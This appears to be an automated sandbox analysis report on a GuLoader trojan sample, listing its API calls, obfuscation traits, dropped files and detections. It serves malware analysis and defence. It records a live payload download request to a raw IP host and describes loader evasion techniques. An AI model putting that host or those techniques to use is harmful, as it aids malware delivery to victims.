Source: o4XzTr73Ut.exe, 0000000C.00000002.1060968348.000000001E95B000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060486327.000000001E71D000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060643656.000000001E7E1000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060968348.000000001E95B000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060486327.000000001E71D000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060643656.000000001E7E1000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060968348.000000001E95B000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060486327.000000001E71D000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060643656.000000001E7E1000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060968348.000000001E95B000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060486327.000000001E71D000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060643656.000000001E7E1000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060968348.000000001E95B000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060486327.000000001E71D000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060643656.000000001E7E1000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: o4XzTr73Ut.exe	String found in binary or memory: https://www.digicert.com/CPS0
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060968348.000000001E95B000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060771307.000000001E88D000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061244305.000000001EAC7000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061518015.000000001F6FA000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060591933.000000001E7CB000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061316952.000000001F5F7000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060446492.000000001E707000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060812505.000000001E8A3000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060874834.000000001E913000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061425020.000000001F689000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000003.1054172659.000000001F7BE000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000003.1054244376.000000001F82F000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060925849.000000001E944000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060486327.000000001E71D000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060365448.000000001E663000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060643656.000000001E7E1000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000003.1054346219.000000001F8A0000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061125215.000000001EA1C000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1061081457.000000001EA06000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Downloads files from webservers via HTTP

Source: global traffic

HTTP traffic detected: GET /SoftwareCleanedPhilosf.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: 185.112.83.8Cache-Control: no-cache

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality for read data from the clipboard

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Code function: 0_2_004056DE GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,FindCloseChangeNotification,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004056DE

System Summary:

Uses 32bit PE files

Source: o4XzTr73Ut.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Contains functionality to shutdown / reboot the system

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Code function: 0_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040352D

Detected potential crypto function

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_0040755C		0_2_0040755C
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_00406D85		0_2_00406D85
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_72891BFF		0_2_72891BFF
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A90CF		0_2_028A90CF
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A7CF3		0_2_028A7CF3
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028AB13E		0_2_028AB13E
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028AA69C		0_2_028AA69C
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028AA6B5		0_2_028AA6B5
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A9627		0_2_028A9627
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A6230		0_2_028A6230
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028AA647		0_2_028AA647
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A9F92		0_2_028A9F92
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A7FD0		0_2_028A7FD0
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A6BD0		0_2_028A6BD0
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A63E0		0_2_028A63E0
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A8F10		0_2_028A8F10
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A9F10		0_2_028A9F10
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028AA35F		0_2_028AA35F
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A1F6C		0_2_028A1F6C
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A208B		0_2_028A208B
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A9CA0		0_2_028A9CA0
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A8003		0_2_028A8003
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A685E		0_2_028A685E
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A5078		0_2_028A5078
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A85A9		0_2_028A85A9
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028AA1CD		0_2_028AA1CD
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A05F6		0_2_028A05F6
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A991C		0_2_028A991C
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A8517		0_2_028A8517
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A5D23		0_2_028A5D23
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028AA146		0_2_028AA146
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A6557		0_2_028A6557
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_000644F8		12_2_000644F8
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_000609C0		12_2_000609C0
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_00062A48		12_2_00062A48
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_00069E50		12_2_00069E50
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_0006E590		12_2_0006E590
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_00064D70		12_2_00064D70
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_000F612F		12_2_000F612F
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_000F6B00		12_2_000F6B00
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_000FED60		12_2_000FED60
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_000F7170		12_2_000F7170
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_000F9728		12_2_000F9728
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_000F9808		12_2_000F9808
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_00155C58		12_2_00155C58
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_00157FB8		12_2_00157FB8
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_00152FE4		12_2_00152FE4
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_00152FE4		12_2_00152FE4
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_00152FE4		12_2_00152FE4

Contains functionality to call native functions

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A90CF NtWriteVirtualMemory,LoadLibraryA,		0_2_028A90CF
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A7CF3 NtAllocateVirtualMemory,LoadLibraryA,		0_2_028A7CF3
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028AAC4D NtProtectVirtualMemory,		0_2_028AAC4D
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A6230 NtWriteVirtualMemory,		0_2_028A6230
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A6BD0 NtWriteVirtualMemory,		0_2_028A6BD0
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A63E0 NtWriteVirtualMemory,		0_2_028A63E0
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A8F10 NtWriteVirtualMemory,		0_2_028A8F10
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028AA35F NtWriteVirtualMemory,LoadLibraryA,		0_2_028AA35F
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A8003 NtWriteVirtualMemory,LoadLibraryA,		0_2_028A8003

Abnormal high CPU Usage

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Process Stats: CPU usage > 98%

Sample file is different than original file name gathered from version info

Source: o4XzTr73Ut.exe, 0000000C.00000002.1061972250.0000000020640000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameSwills.exe4 vs o4XzTr73Ut.exe
Source: o4XzTr73Ut.exe, 0000000C.00000002.1061316952.000000001F5F7000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSwills.exe4 vs o4XzTr73Ut.exe
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060812505.000000001E8A3000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamechrome.exe< vs o4XzTr73Ut.exe
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060812505.000000001E8A3000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename vs o4XzTr73Ut.exe
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060812505.000000001E8A3000.00000004.00000001.sdmp	Binary or memory string: k,\\StringFileInfo\\040904B0\\OriginalFilename vs o4XzTr73Ut.exe
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060812505.000000001E8A3000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameIEXPLORE.EXE.MUID vs o4XzTr73Ut.exe
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060812505.000000001E8A3000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameIEXPLORE.EXED vs o4XzTr73Ut.exe
Source: o4XzTr73Ut.exe, 0000000C.00000003.1004258087.000000000089A000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSwills.exe4 vs o4XzTr73Ut.exe
Source: o4XzTr73Ut.exe, 0000000C.00000003.1004258087.000000000089A000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename_.dll4 vs o4XzTr73Ut.exe
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060215267.000000001E3E0000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameSwills.exe4 vs o4XzTr73Ut.exe
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060215267.000000001E3E0000.00000004.00020000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs o4XzTr73Ut.exe
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060066764.000000001E130000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSwills.exe4 vs o4XzTr73Ut.exe
Source: o4XzTr73Ut.exe, 0000000C.00000002.1060066764.000000001E130000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename_.dll4 vs o4XzTr73Ut.exe

PE / OLE file has an invalid certificate

Source: o4XzTr73Ut.exe

Static PE information: invalid certificate

Sample is known by Antivirus

Source: o4XzTr73Ut.exe	Virustotal: Detection: 7%
Source: o4XzTr73Ut.exe	ReversingLabs: Detection: 23%

Sample reads its own file content

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

File read: C:\Users\user\Desktop\o4XzTr73Ut.exe

Jump to behavior

PE file has an executable .text section and no other executable section

Source: o4XzTr73Ut.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads software policies

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Users\user\Desktop\o4XzTr73Ut.exe "C:\Users\user\Desktop\o4XzTr73Ut.exe"
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process created: C:\Users\user\Desktop\o4XzTr73Ut.exe "C:\Users\user\Desktop\o4XzTr73Ut.exe"
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process created: C:\Users\user\Desktop\o4XzTr73Ut.exe "C:\Users\user\Desktop\o4XzTr73Ut.exe"			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Contains functionality to adjust token privileges (e.g. debug / backup)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Code function: 0_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040352D

Queries process information (via WMI, Win32_Process)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Creates files inside the user directory

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Creates temporary files

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

File created: C:\Users\user\AppData\Local\Temp\nsl3A33.tmp

Jump to behavior

Classification label

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/4@0/2

Contains functionality to instantiate COM classes

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Code function: 0_2_004021AA CoCreateInstance,

0_2_004021AA

Reads ini files

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

File read: C:\Users\desktop.ini

Jump to behavior

Contains functionality to check free disk space

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Code function: 0_2_0040498A GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_0040498A

Parts of this applications are using the .NET runtime (Probably coded in C#)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: o4XzTr73Ut.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Binary contains paths to debug symbols

Source:

Binary string: _.pdb source: o4XzTr73Ut.exe, 0000000C.00000003.1004258087.000000000089A000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060215267.000000001E3E0000.00000004.00020000.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1060066764.000000001E130000.00000004.00000001.sdmp

Data Obfuscation:

Yara detected GuLoader

Source: Yara match	File source: 0000000C.00000000.841548004.0000000000560000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.843188696.00000000028A0000.00000040.00000001.sdmp, type: MEMORY

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_728930C0 push eax; ret		0_2_728930EE
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A12B9 push ebp; ret		0_2_028A1352
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A8B9A push ecx; retf		0_2_028A8BA3
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A17BD pushad ; ret		0_2_028A17D5
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A1305 push ebp; ret		0_2_028A1352
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A5374 push edx; ret		0_2_028A538B
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A0088 push esp; retn 46BCh		0_2_028A00AE
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A3CE4 push esi; ret		0_2_028A3CE3
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A3C06 push esi; ret		0_2_028A3CE3
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A0859 pushfd ; iretd		0_2_028A085D
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A996F push ebp; ret		0_2_028A9982
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_00062A48 push esp; ret		12_2_00062E71
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_00062261 push ecx; ret		12_2_00062262
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_0006B530 push esp; iretd		12_2_0006B539
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_000FD4D0 push cs; ret		12_2_000FD4E4
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 12_2_000FF950 push eax; iretd		12_2_000FF95D

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Code function: 0_2_72891BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_72891BFF

Persistence and Installation Behavior:

Drops PE files

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

File created: C:\Users\user\AppData\Local\Temp\nsb3A92.tmp\System.dll

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
